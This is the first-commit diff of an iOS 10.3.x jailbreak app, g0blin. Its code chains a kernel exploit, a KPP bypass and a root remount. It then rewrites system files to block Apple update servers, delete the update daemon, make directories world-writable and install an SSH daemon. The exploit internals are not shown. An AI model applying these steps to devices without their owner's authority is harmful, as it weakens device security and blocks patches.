First commit

0.reload.plist

@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>Label</key>
+	<string>0.reload</string>
+	<key>ProgramArguments</key>
+	<array>
+		<string>/usr/libexec/reload</string>
+	</array>
+	<key>RunAtLoad</key>
+	<true/>
+</dict>
+</plist>

AppDelegate.h

@@ -0,0 +1,17 @@
+//
+//  AppDelegate.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#import <UIKit/UIKit.h>
+
+@interface AppDelegate : UIResponder <UIApplicationDelegate>
+
+@property (strong, nonatomic) UIWindow *window;
+
+
+@end
+

AppDelegate.m

@@ -0,0 +1,51 @@
+//
+//  AppDelegate.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#import "AppDelegate.h"
+
+@interface AppDelegate ()
+
+@end
+
+@implementation AppDelegate
+
+
+- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
+    // Override point for customization after application launch.
+    return YES;
+}
+
+
+- (void)applicationWillResignActive:(UIApplication *)application {
+    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
+    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
+}
+
+
+- (void)applicationDidEnterBackground:(UIApplication *)application {
+    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
+    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
+}
+
+
+- (void)applicationWillEnterForeground:(UIApplication *)application {
+    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
+}
+
+
+- (void)applicationDidBecomeActive:(UIApplication *)application {
+    // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
+}
+
+
+- (void)applicationWillTerminate:(UIApplication *)application {
+    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
+}
+
+
+@end

Assets.xcassets/AppIcon.appiconset/Contents.json

@@ -0,0 +1,102 @@
+{
+  "images" : [
+    {
+      "idiom" : "iphone",
+      "size" : "20x20",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "20x20",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "29x29",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "29x29",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "40x40",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "40x40",
+      "scale" : "3x"
+    },
+    {
+      "size" : "60x60",
+      "idiom" : "iphone",
+      "filename" : "Icon-60@2x.png",
+      "scale" : "2x"
+    },
+    {
+      "size" : "60x60",
+      "idiom" : "iphone",
+      "filename" : "Icon-60@3x.png",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "20x20",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "20x20",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "29x29",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "29x29",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "40x40",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "40x40",
+      "scale" : "2x"
+    },
+    {
+      "size" : "76x76",
+      "idiom" : "ipad",
+      "filename" : "Icon-76.png",
+      "scale" : "1x"
+    },
+    {
+      "size" : "76x76",
+      "idiom" : "ipad",
+      "filename" : "Icon-76@2x.png",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "83.5x83.5",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ios-marketing",
+      "size" : "1024x1024",
+      "scale" : "1x"
+    }
+  ],
+  "info" : {
+    "version" : 1,
+    "author" : "xcode"
+  }
+}

Base.lproj/LaunchScreen.storyboard

@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13196" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
+    <device id="retina4_7" orientation="portrait">
+        <adaptation id="fullscreen"/>
+    </device>
+    <dependencies>
+        <deployment identifier="iOS"/>
+        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13173"/>
+        <capability name="Safe area layout guides" minToolsVersion="9.0"/>
+        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
+    </dependencies>
+    <scenes>
+        <!--View Controller-->
+        <scene sceneID="EHf-IW-A2E">
+            <objects>
+                <viewController id="01J-lp-oVM" sceneMemberID="viewController">
+                    <view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
+                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
+                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
+                        <subviews>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="😈" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="CzQ-c7-L5v">
+                                <rect key="frame" x="137" y="283" width="100" height="100"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" type="system" pointSize="64"/>
+                                <color key="textColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                        </subviews>
+                        <color key="backgroundColor" red="0.12984204290000001" green="0.12984612579999999" blue="0.12984395030000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                        <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
+                    </view>
+                </viewController>
+                <placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
+            </objects>
+            <point key="canvasLocation" x="52" y="374.66266866566718"/>
+        </scene>
+    </scenes>
+</document>

Base.lproj/Main.storyboard

@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13196" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
+    <device id="retina4_0" orientation="portrait">
+        <adaptation id="fullscreen"/>
+    </device>
+    <dependencies>
+        <deployment identifier="iOS"/>
+        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13173"/>
+        <capability name="Safe area layout guides" minToolsVersion="9.0"/>
+        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
+    </dependencies>
+    <customFonts key="customFonts">
+        <array key="Menlo.ttc">
+            <string>Menlo-Bold</string>
+            <string>Menlo-Regular</string>
+        </array>
+    </customFonts>
+    <scenes>
+        <!--View Controller-->
+        <scene sceneID="tne-QT-ifu">
+            <objects>
+                <viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
+                    <view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
+                        <rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
+                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
+                        <subviews>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="G0BLIN" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="jn4-xX-mg8">
+                                <rect key="frame" x="16" y="45" width="220" height="50"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="55"/>
+                                <color key="textColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="(wip) jailbreak for 64-bit iOS 10.3.x" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="UcM-Ne-vdF">
+                                <rect key="frame" x="16" y="100" width="312" height="25"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="12"/>
+                                <color key="textColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" usesAttributedText="YES" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="SXG-YB-Hu8">
+                                <rect key="frame" x="16" y="130" width="300" height="50"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <attributedString key="attributedText">
+                                    <fragment content="kernel exploit:  siguza
kpp bypapss:     qwertyoruiop
patchfinder:     xerub">
+                                        <attributes>
+                                            <color key="NSColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                            <font key="NSFont" size="12" name="Menlo-Regular"/>
+                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" tighteningFactorForTruncation="0.0"/>
+                                        </attributes>
+                                    </fragment>
+                                </attributedString>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="LzW-79-NNF">
+                                <rect key="frame" x="20" y="254" width="280" height="60"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <color key="backgroundColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="20"/>
+                                <state key="normal" title="jailbreak">
+                                    <color key="titleColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                </state>
+                                <connections>
+                                    <action selector="go:" destination="BYZ-38-t0r" eventType="touchUpInside" id="bmR-QP-aJc"/>
+                                </connections>
+                            </button>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="😈" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="DUv-h9-U3S">
+                                <rect key="frame" x="140" y="528" width="40" height="30"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES"/>
+                                <fontDescription key="fontDescription" type="system" pointSize="17"/>
+                                <nil key="textColor"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" fixedFrame="YES" editable="NO" text="Console" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="Elh-sj-UCK">
+                                <rect key="frame" x="16" y="404" width="288" height="108"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" widthSizable="YES" flexibleMaxX="YES" heightSizable="YES"/>
+                                <color key="backgroundColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <color key="textColor" red="0.66422420739999999" green="0.66424006219999998" blue="0.66423153879999997" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="10"/>
+                                <textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
+                            </textView>
+                            <progressView opaque="NO" contentMode="scaleToFill" verticalHuggingPriority="750" fixedFrame="YES" progress="0.20000000000000001" translatesAutoresizingMaskIntoConstraints="NO" id="bbB-ma-TGm">
+                                <rect key="frame" x="20" y="353" width="280" height="3"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <color key="progressTintColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <color key="trackTintColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                            </progressView>
+                        </subviews>
+                        <color key="backgroundColor" red="0.12984204290000001" green="0.12984612579999999" blue="0.12984395030000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                        <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
+                    </view>
+                    <connections>
+                        <outlet property="consoleView" destination="Elh-sj-UCK" id="gJk-Xf-NFc"/>
+                        <outlet property="goButton" destination="LzW-79-NNF" id="z7c-UD-HAE"/>
+                        <outlet property="progressView" destination="bbB-ma-TGm" id="lIa-zO-eEL"/>
+                    </connections>
+                </viewController>
+                <placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
+            </objects>
+            <point key="canvasLocation" x="138.75" y="132.04225352112675"/>
+        </scene>
+    </scenes>
+</document>

Info.plist

@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>CFBundleDevelopmentRegion</key>
+	<string>$(DEVELOPMENT_LANGUAGE)</string>
+	<key>CFBundleExecutable</key>
+	<string>$(EXECUTABLE_NAME)</string>
+	<key>CFBundleIdentifier</key>
+	<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
+	<key>CFBundleInfoDictionaryVersion</key>
+	<string>6.0</string>
+	<key>CFBundleName</key>
+	<string>$(PRODUCT_NAME)</string>
+	<key>CFBundlePackageType</key>
+	<string>APPL</string>
+	<key>CFBundleShortVersionString</key>
+	<string>1.0</string>
+	<key>CFBundleVersion</key>
+	<string>1</string>
+	<key>LSRequiresIPhoneOS</key>
+	<true/>
+	<key>UILaunchStoryboardName</key>
+	<string>LaunchScreen</string>
+	<key>UIMainStoryboardFile</key>
+	<string>Main</string>
+	<key>UIRequiredDeviceCapabilities</key>
+	<array>
+		<string>armv7</string>
+	</array>
+	<key>UIStatusBarStyle</key>
+	<string>UIStatusBarStyleDefault</string>
+	<key>UISupportedInterfaceOrientations</key>
+	<array>
+		<string>UIInterfaceOrientationPortrait</string>
+	</array>
+	<key>UISupportedInterfaceOrientations~ipad</key>
+	<array>
+		<string>UIInterfaceOrientationPortrait</string>
+		<string>UIInterfaceOrientationPortraitUpsideDown</string>
+		<string>UIInterfaceOrientationLandscapeLeft</string>
+		<string>UIInterfaceOrientationLandscapeRight</string>
+	</array>
+</dict>
+</plist>

ViewController.h

@@ -0,0 +1,14 @@
+//
+//  ViewController.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#import <UIKit/UIKit.h>
+
+@interface ViewController : UIViewController
+
+@end
+

ViewController.m

@@ -0,0 +1,162 @@
+//
+//  ViewController.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#import "ViewController.h"
+#include "v0rtex.h"
+#include "common.h"
+#include "offsets.h"
+#include "kernel.h"
+#include "kpp.h"
+#include "remount.h"
+#include "bootstrap.h"
+#include <sys/utsname.h>
+
+
+#define GRAPE [UIColor colorWithRed:0.5 green:0 blue:1 alpha:1]
+
+
+@interface ViewController ()
+@property (weak, nonatomic) IBOutlet UIButton *goButton;
+@property (weak, nonatomic) IBOutlet UIProgressView *progressView;
+@property (weak, nonatomic) IBOutlet UITextView *consoleView;
+@end
+
+
+static task_t tfp0;
+static uint64_t kslide;
+static uint64_t kbase;
+
+
+@implementation ViewController
+
+- (void)viewDidLoad {
+    [super viewDidLoad];
+    // Do any additional setup after loading the view, typically from a nib.
+    
+    self.progressView.progress = 0;
+    self.progressView.hidden = YES;
+
+    self.consoleView.layer.cornerRadius = 6;
+    self.consoleView.text = nil;
+    
+    self.goButton.layer.cornerRadius = 16;
+    
+    // print kernel version
+    struct utsname u;
+    uname(&u);
+    [self log:[NSString stringWithFormat:@"%s \n", u.version]];
+    
+    if (init_offsets() != KERN_SUCCESS) {
+        self.goButton.enabled = NO;
+        self.goButton.backgroundColor = UIColor.darkGrayColor;
+        [self.goButton setTitle:@"device not supported" forState:UIControlStateDisabled];
+        return;
+    }
+    
+    [self log:@"Ready. \n"];
+}
+
+- (void)didReceiveMemoryWarning {
+    [super didReceiveMemoryWarning];
+    // Dispose of any resources that can be recreated.
+}
+
+- (void)log:(NSString *)text {
+    self.consoleView.text = [NSString stringWithFormat:@"%@%@ \n", self.consoleView.text, text];
+}
+
+- (IBAction)go:(UIButton *)sender {
+    self.goButton.enabled = NO;
+    self.goButton.backgroundColor = UIColor.darkGrayColor;
+    [self.goButton setTitle:@"jailbreaking" forState:UIControlStateDisabled];
+    
+    self.progressView.hidden = NO;
+    [self.progressView setProgress:0.1 animated:YES];
+    
+    [self log:@"exploiting kernel"];
+    
+    kern_return_t ret = v0rtex(&tfp0, &kslide);
+    
+    dispatch_async(dispatch_get_main_queue(), ^{
+        
+        if (ret != KERN_SUCCESS) {
+            self.goButton.enabled = YES;
+            self.goButton.backgroundColor = GRAPE;
+            [self.goButton setTitle:@"try again" forState:UIControlStateNormal];
+            
+            [self log:@"ERROR: exploit failed \n"];
+            return;
+        }
+        LOG("v0rtex was successful");
+        LOG("tfp0 -> %x", tfp0);
+        LOG("slide -> 0x%llx", kslide);
+        
+        kbase = kslide + 0xFFFFFFF007004000;
+        LOG("kern base -> 0x%llx", kbase);
+        
+        [self bypassKPP];
+    });
+}
+
+- (void)bypassKPP {
+    
+    [self.progressView setProgress:0.3 animated:YES];
+    [self log:@"bypassing KPP"];
+    
+    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
+        
+        if (do_kpp(1, 0, kbase, kslide, tfp0) != KERN_SUCCESS) {
+            [self log:@"ERROR: kpp bypass failed \n"];
+            return;
+        }
+        LOG("fuck kpp, yolo kjc!");
+        
+        [self remount];
+    });
+}
+
+- (void)remount {
+    
+    [self.progressView setProgress:0.5 animated:YES];
+    [self log:@"remounting / as r/w"];
+    
+    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
+        
+        if (do_remount(kslide) != KERN_SUCCESS) {
+            [self log:@"ERROR: failed to remount system partition \n"];
+            return;
+        }
+        
+        [self bootstrap];
+  });
+}
+
+- (void)bootstrap {
+    
+//    [self.progressView setProgress:0.6 animated:YES];
+//    [self log:@"installing bootstrap"];
+    
+    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
+        
+//        if (do_bootstrap() != KERN_SUCCESS) {
+//            [self log:@"ERROR: failed to install bootstrap \n"];
+//            return;
+//        }
+        
+        [self finish];
+    });
+}
+
+- (void)finish {
+    [self.progressView setProgress:1 animated:YES];
+    [self log:@"All done, peace!"];
+
+    [self.goButton setTitle:@"jailbroke yo!" forState:UIControlStateDisabled];
+}
+
+@end

bootstrap.h

@@ -0,0 +1,18 @@
+//
+//  bootstrap.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef bootstrap_h
+#define bootstrap_h
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+kern_return_t do_bootstrap(void);
+
+#endif /* bootstrap_h */

bootstrap.m

@@ -0,0 +1,130 @@
+//
+//  bootstrap.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#include "common.h"
+#include <sys/spawn.h>
+#include <sys/stat.h>
+#include <copyfile.h>
+#include <mach-o/dyld.h>
+
+
+kern_return_t do_bootstrap() {
+    
+    char path[256];
+    uint32_t size = sizeof(path);
+    _NSGetExecutablePath(path, &size);
+    char *pt = realpath(path, 0);
+    pid_t pd = 0;
+    NSString* execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent];
+    
+    int f = open("/.installed_g0blin", O_RDONLY);
+    if (f == -1) {
+        LOG("bootstrap not yet installed");
+        
+        NSString* bootstrap = [execpath stringByAppendingPathComponent:@"bootstrap.tar"];
+        NSString* tar = [execpath stringByAppendingPathComponent:@"tar"];
+        NSString* launchctl = [execpath stringByAppendingPathComponent:@"launchctl"];
+        
+        unlink("/bin/tar");
+        unlink("/bin/launchctl");
+        
+        // copy over launchctl
+        copyfile([launchctl UTF8String], "/bin/launchctl", 0, COPYFILE_ALL);
+        chmod("/bin/launchctl", 0755);
+        
+        // copy over tar
+        copyfile([tar UTF8String], "/bin/tar", 0, COPYFILE_ALL);
+        chmod("/bin/tar", 0777);
+        
+        // unpack bootstrap tarball
+        chdir("/");
+        posix_spawn(&pd, "/bin/tar", 0, 0, (char**)&(const char*[]){"/bin/tar", "--preserve-permissions", "--no-overwrite-dir", "-xvf", [bootstrap UTF8String], NULL}, NULL);
+        NSLog(@"pid = %x", pd);
+        waitpid(pd, 0, 0);
+        LOG("bootstrap unpacked");
+        
+        // leave a reminder that we did this already
+        open("/.installed_g0blin", O_RDWR|O_CREAT);
+        
+        // disable Cydia filesystem stashing
+        open("/.cydia_no_stash", O_RDWR|O_CREAT);
+        
+        // block some Apple IPs
+        posix_spawn(&pd, "/bin/bash", 0, 0, (char**)&(const char*[]){"/bin/bash", "-c", """echo '127.0.0.1 iphonesubmissions.apple.com' >> /etc/hosts""", NULL}, NULL);
+        posix_spawn(&pd, "/bin/bash", 0, 0, (char**)&(const char*[]){"/bin/bash", "-c", """echo '127.0.0.1 radarsubmissions.apple.com' >> /etc/hosts""", NULL}, NULL);
+        posix_spawn(&pd, "/bin/bash", 0, 0, (char**)&(const char*[]){"/bin/bash", "-c", """echo '127.0.0.1 mesu.apple.com' >> /etc/hosts""", NULL}, NULL);
+        posix_spawn(&pd, "/bin/bash", 0, 0, (char**)&(const char*[]){"/bin/bash", "-c", """echo '127.0.0.1 appldnld.apple.com' >> /etc/hosts""", NULL}, NULL);
+        LOG("modified hosts file");
+        
+        // update icons
+        LOG("running uicache");
+        posix_spawn(&pd, "/usr/bin/uicache", 0, 0, (char**)&(const char*[]){"/usr/bin/uicache", NULL}, NULL);
+        
+        // set SBShowNonDefaultSystemApps
+        posix_spawn(&pd, "killall", 0, 0, (char**)&(const char*[]){"killall", "-SIGSTOP", "cfprefsd", NULL}, NULL);
+        NSMutableDictionary *plist = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
+        [plist setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
+        [plist writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES];
+        posix_spawn(&pd, "killall", 0, 0, (char**)&(const char*[]){"killall", "-9", "cfprefsd", NULL}, NULL);
+    }
+    LOG("bootstrapped");
+    
+    
+    // copy reload
+    NSString *reload = [execpath stringByAppendingPathComponent:@"reload"];
+    unlink("/usr/libexec/reload");
+    copyfile([reload UTF8String], "/usr/libexec/reload", 0, COPYFILE_ALL);
+    chmod("/usr/libexec/reload", 0755);
+    chown("/usr/libexec/reload", 0, 0);
+    
+    // copy 0.reload.plist
+    NSString *reloadPlist = [execpath stringByAppendingPathComponent:@"0.reload.plist"];
+    unlink("/Library/LaunchDaemons/0.reload.plist");
+    copyfile([reloadPlist UTF8String], "/Library/LaunchDaemons/0.reload.plist", 0, COPYFILE_ALL);
+    chmod("/Library/LaunchDaemons/0.reload.plist", 0644);
+    chown("/Library/LaunchDaemons/0.reload.plist", 0, 0);
+    
+    // copy dropbear.plist
+    NSString *dropbearPlist = [execpath stringByAppendingPathComponent:@"dropbear.plist"];
+    unlink("/Library/LaunchDaemons/dropbear.plist");
+    copyfile([dropbearPlist UTF8String], "/Library/LaunchDaemons/dropbear.plist", 0, COPYFILE_ALL);
+    chmod("/Library/LaunchDaemons/dropbear.plist", 0644);
+    chown("/Library/LaunchDaemons/dropbear.plist", 0, 0);
+    
+    // stop SU daemon
+    unlink("/System/Library/LaunchDaemons/com.apple.mobile.softwareupdated.plist");
+    
+    // update permissions
+    chmod("/private", 0777);
+    chmod("/private/var", 0777);
+    chmod("/private/var/mobile", 0777);
+    chmod("/private/var/mobile/Library", 0777);
+    chmod("/private/var/mobile/Library/Preferences", 0777);
+    LOG("updated permissions");
+
+    // kill OTA updater
+    pid_t pid;
+    unlink("/var/MobileAsset/Assets/com_apple_MobileAsset_SoftwareUpdate");
+    posix_spawn(&pid, "touch", 0, 0, (char**)&(const char*[]){"touch", "/var/MobileAsset/Assets/com_apple_MobileAsset_SoftwareUpdate", NULL}, NULL);
+    chmod("/var/MobileAsset/Assets/com_apple_MobileAsset_SoftwareUpdate", 000);
+    chown("/var/MobileAsset/Assets/com_apple_MobileAsset_SoftwareUpdate", 0, 0);
+    LOG("killed OTA updater");
+    
+//    WriteAnywhere64(bsd_task+0x100, orig_cred);
+    
+    // reload
+    LOG("reloading");
+    posix_spawn(&pid, "/bin/launchctl", 0, 0, (char**)&(const char*[]){"/bin/launchctl", "load", "/Library/LaunchDaemons/0.reload.plist", NULL}, NULL);
+    
+    sleep(2);
+    
+    
+    // done.
+    return KERN_SUCCESS;
+}

common.h

@@ -0,0 +1,35 @@
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <stdint.h>             // uint*_t
+
+#import <Foundation/Foundation.h>
+
+#ifdef __LP64__
+#   define ADDR "0x%016llx"
+    typedef uint64_t kptr_t;
+#else
+#   define ADDR "0x%08x"
+    typedef uint32_t kptr_t;
+#endif
+
+#define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0)
+
+
+// Re-direct LOG macro to GUI ...
+
+//#include "ViewController.h"
+//extern id controller;
+//#define LOG(str, args...) do { \
+//    if (controller && [controller respondsToSelector:@selector(log:)]) { \
+//        if ([NSThread isMainThread]) { \
+//            [controller log:[NSString stringWithFormat:@str "\n", ##args]]; \
+//        } else { \
+//            [controller performSelectorOnMainThread:@selector(log:) withObject:[NSString stringWithFormat:@str "\n", ##args] waitUntilDone:NO]; \
+//        } \
+//    } else { \
+//        NSLog(@str "\n", ##args); \
+//    } \
+//} while(0)
+
+#endif

kernel.h

@@ -0,0 +1,32 @@
+//
+//  kernel.h
+//  g0blin
+//
+//  Created by Ben on 16/12/2017.
+//
+
+#include <mach/mach.h>
+
+void init_kernel(task_t tfp0);
+size_t tfp0_kread(uint64_t where, void *p, size_t size);
+uint64_t rk64(uint64_t kaddr);
+uint32_t rk32(uint64_t kaddr);
+void wk64(uint64_t kaddr, uint64_t val);
+void wk32(uint64_t kaddr, uint32_t val);
+size_t kwrite(uint64_t where, const void *p, size_t size);
+size_t kwrite_uint64(uint64_t where, uint64_t value);
+size_t kwrite_uint32(uint64_t where, uint32_t value);
+
+
+kern_return_t mach_vm_write(vm_map_t target_task,
+                            mach_vm_address_t address,
+                            vm_offset_t data,
+                            mach_msg_type_number_t dataCnt);
+
+kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
+                                     mach_vm_address_t address,
+                                     mach_vm_size_t size,
+                                     mach_vm_address_t data,
+                                     mach_vm_size_t *outsize);
+
+kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);

kernel.m

@@ -0,0 +1,176 @@
+//
+//  kernel.m
+//  v0rtex
+//
+//  Created by Ben on 16/12/2017.
+//
+
+#include "kernel.h"
+#include "common.h"
+#include <mach/mach.h>
+
+static task_t tfp0;
+
+void init_kernel(task_t task_for_port0) {
+    tfp0 = task_for_port0;
+}
+
